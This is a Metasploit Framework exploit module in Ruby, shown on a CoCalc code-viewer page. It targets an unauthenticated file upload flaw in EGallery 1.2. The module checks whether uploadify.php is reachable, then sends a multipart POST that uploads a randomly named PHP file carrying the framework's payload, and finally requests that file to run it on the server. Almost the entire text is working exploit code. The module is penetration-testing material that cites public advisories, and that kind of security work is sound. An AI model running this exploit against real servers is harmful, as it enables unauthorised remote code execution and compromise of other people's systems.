CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/egallery_upload_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info={})
12
super(update_info(info,
13
'Name' => "EGallery PHP File Upload Vulnerability",
14
'Description' => %q{
15
This module exploits a vulnerability found in EGallery 1.2 By abusing the
16
uploadify.php file, a malicious user can upload a file to the egallery/ directory
17
without any authentication, which results in arbitrary code execution. The module
18
has been tested successfully on Ubuntu 10.04.
19
},
20
'License' => MSF_LICENSE,
21
'Author' =>
22
[
23
'Sammy FORGIT', # Discovery, PoC
24
'juan vazquez' # Metasploit module
25
],
26
'References' =>
27
[
28
['OSVDB', '83891'],
29
['BID', '54464'],
30
['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']
31
],
32
'Payload' =>
33
{
34
'BadChars' => "\x00"
35
},
36
'DefaultOptions' =>
37
{
38
'EXITFUNC' => 'thread'
39
},
40
'Platform' => ['php'],
41
'Arch' => ARCH_PHP,
42
'Targets' =>
43
[
44
['EGallery 1.2', {}]
45
],
46
'Privileged' => false,
47
'DisclosureDate' => '2012-07-08',
48
'DefaultTarget' => 0))
49
50
register_options(
51
[
52
OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])
53
])
54
end
55
56
def check
57
uri = target_uri.path
58
59
res = send_request_cgi({
60
'method' => 'GET',
61
'uri' => normalize_uri(uri, "egallery", "uploadify.php")
62
})
63
64
if res and res.code == 200 and res.body.empty?
65
return Exploit::CheckCode::Appears
66
else
67
return Exploit::CheckCode::Safe
68
end
69
end
70
71
def exploit
72
uri = normalize_uri(target_uri.path)
73
uri << '/' if uri[-1,1] != '/'
74
75
peer = "#{rhost}:#{rport}"
76
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
77
boundary = Rex::Text.rand_text_hex(7)
78
79
post_data = "--#{boundary}\r\n"
80
post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"
81
post_data << "#{payload_name}\r\n"
82
post_data << "--#{boundary}\r\n"
83
post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"
84
post_data << "#{uri}\r\n"
85
post_data << "--#{boundary}\r\n"
86
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
87
post_data << "<?php "
88
post_data << payload.encoded
89
post_data << " ?>\r\n"
90
post_data << "--#{boundary}--\r\n"
91
92
print_status("Sending PHP payload (#{payload_name})")
93
res = send_request_cgi({
94
'method' => 'POST',
95
'uri' => normalize_uri("#{uri}egallery/uploadify.php"),
96
'ctype' => "multipart/form-data; boundary=#{boundary}",
97
'data' => post_data
98
})
99
100
# If the server returns 200 and the body contains our payload name,
101
# we assume we uploaded the malicious file successfully
102
if not res or res.code != 200 or res.body !~ /#{payload_name}/
103
print_error("File wasn't uploaded, aborting!")
104
return
105
end
106
107
print_status("Executing PHP payload (#{payload_name})")
108
# Execute our payload
109
res = send_request_cgi({
110
'method' => 'GET',
111
'uri' => normalize_uri("#{uri}#{payload_name}")
112
})
113
114
# If we don't get a 200 when we request our malicious payload, we suspect
115
# we don't have a shell, either. Print the status code for debugging purposes.
116
if res and res.code != 200
117
print_status("Server returned #{res.code.to_s}")
118
end
119
end
120
end
121
122